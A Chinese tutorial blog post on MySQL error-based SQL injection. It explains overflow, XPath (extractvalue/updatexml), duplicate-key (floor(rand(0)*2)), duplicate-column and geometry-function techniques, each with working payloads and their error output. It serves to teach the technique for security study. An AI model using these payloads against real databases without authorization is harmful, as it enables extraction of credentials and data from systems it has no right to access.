mysql报错注入_细谈MySQL报错注入

一、什么是SQL报错注入?

SQL报错注入就是让SQL函数报错,使得查询结果出现在错误信息中。

二、MySQL报错注入分类

1、数据类型溢出

2、xpath语法错误

3、主键重复

4、列名重复

5、几何函数缺少参数

三、具体说说上面几种报错类型

1、数据类型溢出

下面是MySQL官网的数字型数据类型的范围(MySQL5.5)

根据 https://dev.mysql.com/doc/refman/5.5/en/out-of-range-and-overflow.html文档可知,只有版本号大于5.5.5时会报错。

我们可以使用~0,用按位取反的方式得到最大值,在最大值基础上+1,得到最小的溢出值

mysql> select ~0+1;

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'

1

2

3

mysql>select~0+1;

ERROR1690(22003):BIGINTUNSIGNEDvalueisoutofrangein'(~(0) + 1)'

exp函数差生类似的溢出错误

mysql> select exp(709);

+-----------------------+

| exp(709) |

+-----------------------+

| 8.218407461554972e307 |

+-----------------------+

1 row in set (0.00 sec)

1

2

3

4

5

6

7

8

mysql>selectexp(709);

+-----------------------+

|exp(709)|

+-----------------------+

|8.218407461554972e307|

+-----------------------+

1rowinset(0.00sec)

mysql> select exp(710);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

1

2

3

mysql>selectexp(710);

ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(710)'

实战:

mysql> select exp(~(select*from(select user())x));

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localho

st' from dual)))'

1

2

3

4

mysql>selectexp(~(select*from(selectuser())x));

ERROR1690(22003):DOUBLEvalueisoutofrangein'exp(~((select 'root@localho

st' from dual)))'

主要注意的是:在mysql>5.5.53的事后,exp报错不能返回结果,笔者这里用虚拟机中安装的phpstudy带的MySQL5.5.29版本测试成功,物理机安装的MySQL5.7.26测试失败。

2、xpath语法错误

从MySQL5.1.5开始提供两个XML查询和修改的函数, extractvalue()和updatexml()。

exreactvalue()负责在XML文件中按照xpath语法查询节点内容。

updatexml()则负责修改查询到的内容。

他们的第二个参数都要求符合Xpath语法的字符串,不满足语法就会报错,并将查询的结果放在报错信息中心。

extractvalue()的两个例子:

mysql> select extractvalue(1,(select version()));

ERROR 1105 (HY000): XPATH syntax error: '.26'

mysql> select extractvalue(1,(select user()));

ERROR 1105 (HY000): XPATH syntax error: '@localhost'

1

2

3

4

5

6

mysql>selectextractvalue(1,(selectversion()));

ERROR1105(HY000):XPATHsyntaxerror:'.26'

mysql>selectextractvalue(1,(selectuser()));

ERROR1105(HY000):XPATHsyntaxerror:'@localhost'

肯定有人好奇为什么报错来的信息并不完整,这是因为.和@都在xpath语法中有含义!当函数读取到一个xpath语法的符号后,开始解析但是因为解析不成功,随后报错。

解决方法:在语句前拼接一个xpath语法的特殊符号或者拼接一个能使xpath语法错误的特殊符号,例如~

xpath语法的链接放在这里:https://www.w3school.com.cn/xpath/xpath_syntax.asp

这里我们拼接一个xpath语法中的特殊含义字符,可以看到成功显示

mysql> select extractvalue(1,concat('*',user()));

ERROR 1105 (HY000): XPATH syntax error: 'root@localhost'

mysql> select extractvalue(1,concat('~',user()));

ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

1

2

3

4

5

6

mysql>selectextractvalue(1,concat('*',user()));

ERROR1105(HY000):XPATHsyntaxerror:'root@localhost'

mysql>selectextractvalue(1,concat('~',user()));

ERROR1105(HY000):XPATHsyntaxerror:'~root@localhost'

updatexml的两个例子:

mysql> select updatexml(1,concat('*',version()),1);

ERROR 1105 (HY000): XPATH syntax error: '5.7.26'

mysql> select updatexml(1,concat(0x7e,user(),0x7e),1);

ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

1

2

3

4

5

6

mysql>selectupdatexml(1,concat('*',version()),1);

ERROR1105(HY000):XPATHsyntaxerror:'5.7.26'

mysql>selectupdatexml(1,concat(0x7e,user(),0x7e),1);

ERROR1105(HY000):XPATHsyntaxerror:'~root@localhost~'

需要注意的是:extractvalue()和updatexml()这两个函数都有长度限制,都是32位。

3、主键重复

这里利用count()和group by遇到floor(rand(0)*2)产生的重复值时的报错的思路。

mysql> select count(*) from information_schema.columns group by concat(user(),0x7e,floor(rand(0)*2));

ERROR 1062 (23000): Duplicate entry 'root@localhost~1' for key ''

1

2

3

mysql>selectcount(*)frominformation_schema.columnsgroupbyconcat(user(),0x7e,floor(rand(0)*2));

ERROR1062(23000):Duplicateentry'root@localhost~1'forkey''

基本原理:

①首先介绍一下这几个函数

count() 统计个数

group by 按列分组

floor() 向下舍去小数位,保留整数位

rand() 随机函数

②rand(0)是一个稳定的序列不变的随机数(一组)

所以当我们使用floor()函数对rand()的值进行操作之后,也是一个稳定的序列

③使用group by进行count()进行统计的时候的过程

首先会创建一个虚拟表,包含两个部分,一个是主键,一个是计数器。

当开始查询数据的时候,首先看虚拟表中有没有这个主键,如果存在,计数器加1;

不存在的话,重新查询数据,插入主键值,并把计数器初始值设置为1。

有了上面的铺垫,我们来看下为什么下面的语句会报错

mysql> select count(*) from users group by floor(rand(0)*2);

ERROR 1062 (23000): Duplicate entry '1' for key ''

1

2

3

mysql>selectcount(*)fromusersgroupbyfloor(rand(0)*2);

ERROR1062(23000):Duplicateentry'1'forkey''

首先,我们去分组的时候根据的是floor(rand(0)*2)的值。

mysql> select floor(rand(0)*2) from users;

+------------------+

| floor(rand(0)*2) |

+------------------+

| 0 |

| 1 |

| 1 |

| 0 |

| 1 |

+------------------+

5 rows in set (0.00 sec)

1

2

3

4

5

6

7

8

9

10

11

12

mysql>selectfloor(rand(0)*2)fromusers;

+------------------+

|floor(rand(0)*2)|

+------------------+

|0|

|1|

|1|

|0|

|1|

+------------------+

5rowsinset(0.00sec)

第一次查询,运算floor(rand(0)*2),我们group by 后面的值为0,主键并不存在,所以我们再次运算floor(rand(0)*2),但返回结果为1,把主键为1的值插入,并把计数器的初始值设置为1。

第二次查询,运算floor(rand(0)*2),这里其实已经是第三次调用floor(rand(0)*2)了,返回值为1,在虚拟表中存在主键为1的值,直接在计数器上加1,此时计数器值为2。

第三次查询,运算floor(rand(0)*2),这里其实已经是第四次调用floor(rand(0)*2)了,返回值为0,在虚拟表中不存在主键为0的值,需要添加主键为0的值,需要再次运算floor(rand(0)*2)后添加入主键的值中。但这次floor(rand(0)*2)是第五次,返回的值为1,本来是要插入的主键值中不存在的新值0,但是这次查询返回的值为1,发现主键为1的值已经存在,故报错。

4、列名重复

利用join()函数可以爆破列名

mysql> select * from(select * from users a join users b)c;

ERROR 1060 (42S21): Duplicate column name 'user_id'

mysql> select * from(select * from users a join users b using(user_id))c;

ERROR 1060 (42S21): Duplicate column name 'first_name'

1

2

3

4

5

mysql>select *from(select *fromusersajoinusersb)c;

ERROR1060(42S21):Duplicatecolumnname'user_id'

mysql>select *from(select *fromusersajoinusersbusing(user_id))c;

ERROR1060(42S21):Duplicatecolumnname'first_name'

5、几何函数

MySQL中有一些几何函数,参数不满足要求就会报错,但是这些函数通常都是低版本MySQL适用。

有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()等等。

MySQL 5.5.29 成功

MySQL 5.7.26 失败

因为MySQL版本问题,后续会写一篇关于fuzz报错函数的文章,这里剩下的几何函数类报错就不再赘述了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值